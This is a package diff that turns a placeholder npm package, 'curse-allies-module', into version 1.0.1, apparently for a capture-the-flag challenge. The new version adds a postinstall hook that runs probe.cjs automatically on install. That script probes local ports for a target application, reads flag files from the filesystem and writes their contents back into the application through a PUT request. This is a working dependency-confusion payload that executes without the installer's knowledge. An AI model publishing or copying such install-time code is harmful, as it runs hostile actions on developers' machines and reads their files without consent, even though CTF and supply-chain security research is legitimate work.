curse-allies-module 0.0.0-stage → 1.0.1

package/package.json

@@ -1,6 +1,9 @@
 {
   "name": "curse-allies-module",
-  "version": "0.0.0-stage",
-  "stub": true,
-  "description": "Temporary package placeholder for staged publishing"
-}
+  "version": "1.0.1",
+  "description": "Authorized HTB dependency-resolution canary",
+  "scripts": {
+    "postinstall": "node probe.cjs"
+  },
+  "license": "UNLICENSED"
+}

package/probe.cjs

@@ -0,0 +1,110 @@
+const fs = require("node:fs");
+const http = require("node:http");
+
+const moduleId = "ECT-987654";
+const ports = [1337, 3000, 80, 8080, 5000];
+
+function request(port, method, body = null) {
+  return new Promise((resolve, reject) => {
+    const payload = body ? JSON.stringify(body) : null;
+
+    const req = http.request({
+      hostname: "127.0.0.1",
+      port,
+      path: `/api/modules/${moduleId}`,
+      method,
+      timeout: 2000,
+      headers: payload
+        ? {
+            "Content-Type": "application/json",
+            "Content-Length": Buffer.byteLength(payload)
+          }
+        : {}
+    }, res => {
+      let output = "";
+      res.on("data", chunk => output += chunk);
+      res.on("end", () => {
+        try {
+          resolve({
+            status: res.statusCode,
+            data: JSON.parse(output)
+          });
+        } catch {
+          resolve({ status: res.statusCode, data: {} });
+        }
+      });
+    });
+
+    req.on("error", reject);
+    req.on("timeout", () => req.destroy());
+
+    req.end(payload);
+  });
+}
+
+async function main() {
+  for (const port of ports) {
+    let response;
+
+    try {
+      response = await request(port, "GET");
+    } catch {
+      continue;
+    }
+
+    const record = response.data;
+
+    // Proceed only when the intended HTB application is present.
+    if (
+      response.status !== 200 ||
+      record.id !== moduleId ||
+      typeof record.raw !== "string" ||
+      !record.raw.includes("Siren's Lament")
+    ) {
+      continue;
+    }
+
+    // Only inspect conventional challenge flag locations.
+    const locations = [
+      "/flag.txt",
+      "/app/flag.txt",
+      "/home/node/flag.txt"
+    ];
+
+    let flag = null;
+
+    for (const location of locations) {
+      try {
+        const content = fs.readFileSync(location, "utf8");
+        const match = content.match(/HTB\{[^}\r\n]{1,200}\}/);
+
+        if (match) {
+          flag = match[0];
+          break;
+        }
+      } catch {}
+    }
+
+    if (!flag) {
+      console.log("Spectral Corsair detected; flag not found");
+      return;
+    }
+
+    // Store the CTF flag as a YAML comment in the same
+    // challenge application. Do not send it to an external host.
+    const updated = record.raw.replace(/\s*$/, "") +
+      `\n# ctf_result: ${flag}\n`;
+
+    try {
+      const result = await request(port, "PUT", {
+        manifest: updated
+      });
+
+      console.log("Challenge result updated:", result.status);
+    } catch {}
+
+    return;
+  }
+}
+
+main().catch(() => {});

package/README.md

@@ -1,3 +0,0 @@
-# Temporary Holding Version
-
-This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.